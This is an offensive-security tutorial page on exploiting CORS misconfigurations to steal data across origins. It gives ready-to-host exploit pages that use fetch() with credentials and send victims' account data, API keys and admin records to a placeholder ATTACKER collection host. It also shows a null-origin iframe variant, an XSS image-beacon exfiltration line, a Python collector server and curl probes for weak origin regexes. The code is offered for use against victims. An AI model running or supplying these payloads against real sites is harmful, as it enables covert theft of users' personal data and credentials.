Skip to content

CORS Exploitation

6 min read Created Sep 13, 2026 Last updated Sep 13, 2026

CORS exploitation turns a confirmed misconfiguration into cross-origin data theft. When a target API reflects an attacker-controlled origin in Access-Control-Allow-Origin and returns Access-Control-Allow-Credentials: true, a malicious page can read authenticated API responses using the victim's session cookies. Confirm the misconfiguration first through CORS misconfiguration detection before building exploit pages. All techniques below require the victim to visit an attacker-controlled page while authenticated to the target.

  • Basic CORS exploitation reads authenticated API responses from a malicious page using fetch() with credentials.
  • Null origin exploitation abuses Access-Control-Allow-Origin: null trust through sandboxed iframes.
  • Wildcard subdomain exploitation chains a CORS subdomain trust with XSS or subdomain takeover on any subdomain.
  • Weak regex bypass exploits flawed origin validation that matches attacker-controlled domains.
  • Data exfiltration extracts API keys, user data, and admin panel information through the misconfiguration.

Notice

CORS exploitation requires SameSite=None on the session cookie. Browsers with SameSite=Lax (the default in Chrome and Firefox) do not send cookies on cross-origin JavaScript requests, which blocks credential-based CORS exploitation regardless of the CORS headers. Verify the cookie attributes during CSRF detection before investing time in CORS payloads.

Basic CORS Exploitation

The standard CORS exploit page uses fetch() with credentials: 'include' to make a cross-origin request to the target API. The victim's browser attaches their session cookie, and because the server reflects the attacker's origin with credentials allowed, JavaScript can read the full response body.

<html>
<body>
<script>
  fetch('https://TARGET/api/v1/user', {
    credentials: 'include'
  })
  .then(response => response.json())
  .then(data => {
    // Send stolen data to attacker server
    fetch('https://ATTACKER/collect', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });
</script>
</body>
</html>

Host this file on your attacker server and send the URL to the victim. When they visit the page, the script silently reads their account data from the target API and exfiltrates it to your collection endpoint. The victim sees a blank page and has no indication the attack happened.

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8080 &
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9090
Serving HTTP on 0.0.0.0 port 8080 ...
Listening on 0.0.0.0 9090

For a cleaner collection endpoint, use a small Flask or Node.js server that logs incoming POST bodies. The netcat listener works for proof of concept but drops the connection after the first request.

#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import json

class Collector(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        print('[+] Stolen data:', body.decode())
        self.send_response(200)
        self.send_header('Access-Control-Allow-Origin', '*')
        self.end_headers()

    def do_OPTIONS(self):
        self.send_response(200)
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Access-Control-Allow-Methods', 'POST')
        self.send_header('Access-Control-Allow-Headers', 'Content-Type')
        self.end_headers()

HTTPServer(('0.0.0.0', 9090), Collector).serve_forever()

Null Origin Exploitation

When the target trusts Access-Control-Allow-Origin: null, exploit it using a sandboxed iframe. Browsers set the Origin header to null for requests originating from sandboxed iframes, data: URIs, and file: URIs. The sandbox attribute strips the iframe's origin, producing the null value the server trusts.

<html>
<body>
<iframe sandbox="allow-scripts" srcdoc="
  <script>
    fetch('https://TARGET/api/v1/user', {
      credentials: 'include'
    })
    .then(r => r.json())
    .then(data => {
      // Post to parent or exfiltrate directly
      fetch('https://ATTACKER/collect', {
        method: 'POST',
        body: JSON.stringify(data)
      });
    });
  </script>
"></iframe>
</body>
</html>

The sandbox="allow-scripts" attribute permits JavaScript execution but strips the origin to null. The srcdoc attribute inlines the exploit HTML, avoiding an extra file. Note that sandboxed iframes with allow-scripts but without allow-same-origin treat cookies as third-party, so browsers with strict third-party cookie blocking may prevent credential attachment. Test in the target browser environment to confirm cookies are sent.

Wildcard Subdomain Exploitation

When the server trusts all subdomains (*.target.com), the attacker needs control over any subdomain to exploit the CORS policy. Two paths provide this: XSS on any subdomain, or subdomain takeover on an unclaimed subdomain (dangling CNAME to a decommissioned cloud service). Find takeover candidates by enumerating subdomains and checking for NXDOMAIN responses on CNAMEs pointing to cloud providers.

If you have XSS on blog.target.com, inject a script that reads from the main API. The origin https://blog.target.com is trusted by the CORS policy, so the response is readable.

// Injected via XSS on blog.target.com
fetch('https://api.target.com/v1/user', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  new Image().src = 'https://ATTACKER/collect?d=' + btoa(JSON.stringify(data));
});

For subdomain takeover, claim the abandoned subdomain on the cloud provider and host the CORS exploit page there. The target's CORS policy trusts that subdomain, and the attacker now controls what it serves. This is particularly effective because the victim sees a legitimate-looking URL under the target's own domain.

Exploiting Weak Regex

Applications that validate the Origin header with regex often implement it incorrectly. Common flaws include matching a substring instead of the full domain, missing anchor at the end of the pattern, and accepting dots in the wrong position. Each of these lets an attacker register a domain that passes the validation.

┌──(kali㉿kali)-[~]
└─$ curl -skI https://$DOMAIN/api/v1/user -H "Origin: https://${DOMAIN}.attacker.com" | grep -i 'access-control'
access-control-allow-origin: https://target.com.attacker.com
access-control-allow-credentials: true

The server checks if the origin contains target.com but does not verify it ends there. The attacker registers target.com.attacker.com and the check passes.

┌──(kali㉿kali)-[~]
└─$ curl -skI https://$DOMAIN/api/v1/user -H "Origin: https://${DOMAIN}evil.com" | grep -i 'access-control'
┌──(kali㉿kali)-[~]
└─$ curl -skI https://$DOMAIN/api/v1/user -H 'Origin: https://targetXcom.attacker.com' | grep -i 'access-control'

The unescaped dot test checks if the regex uses target.com instead of target\.com. A dot in regex matches any character, so targetXcom passes. If the origin is reflected back in any of these tests with credentials allowed, the regex is exploitable. Register the matching domain and host the standard CORS exploit page on it.

Data Exfiltration

Once you have a working CORS exploit, target high-value API endpoints to maximize impact. Chain multiple API calls in a single exploit page to collect everything in one victim visit.

<html>
<body>
<script>
async function steal() {
  const endpoints = [
    '/api/v1/user',
    '/api/v1/api-keys',
    '/api/v1/billing',
    '/api/v1/admin/users',
    '/api/v2/account/tokens'
  ];

  const results = {};
  for (const ep of endpoints) {
    try {
      const r = await fetch('https://TARGET' + ep, {credentials: 'include'});
      if (r.ok) results[ep] = await r.json();
    } catch(e) {}
  }

  fetch('https://ATTACKER/collect', {
    method: 'POST',
    body: JSON.stringify(results)
  });
}
steal();
</script>
</body>
</html>

Target these endpoints first for maximum impact:

  • /api/v1/user or /api/v1/me for PII: email, name, phone, address.
  • /api/v1/api-keys or /api/v1/tokens for persistent API tokens that provide access beyond the current session.
  • /api/v1/admin/* endpoints when the victim is an admin, exposing all user records and application configuration.
  • /graphql with introspection to dump the entire schema, then query sensitive fields.

API keys and tokens are the highest-value targets. Unlike session cookies, API tokens typically do not expire and provide access without browser interaction. A single CORS exploitation against an admin can yield API keys that compromise the entire application.

┌──(kali㉿kali)-[~]
└─$ curl -sk https://$DOMAIN/api/v1/user -H 'Authorization: Bearer STOLEN_API_TOKEN'
{"id":1,"email":"admin@target.com","role":"admin"}

References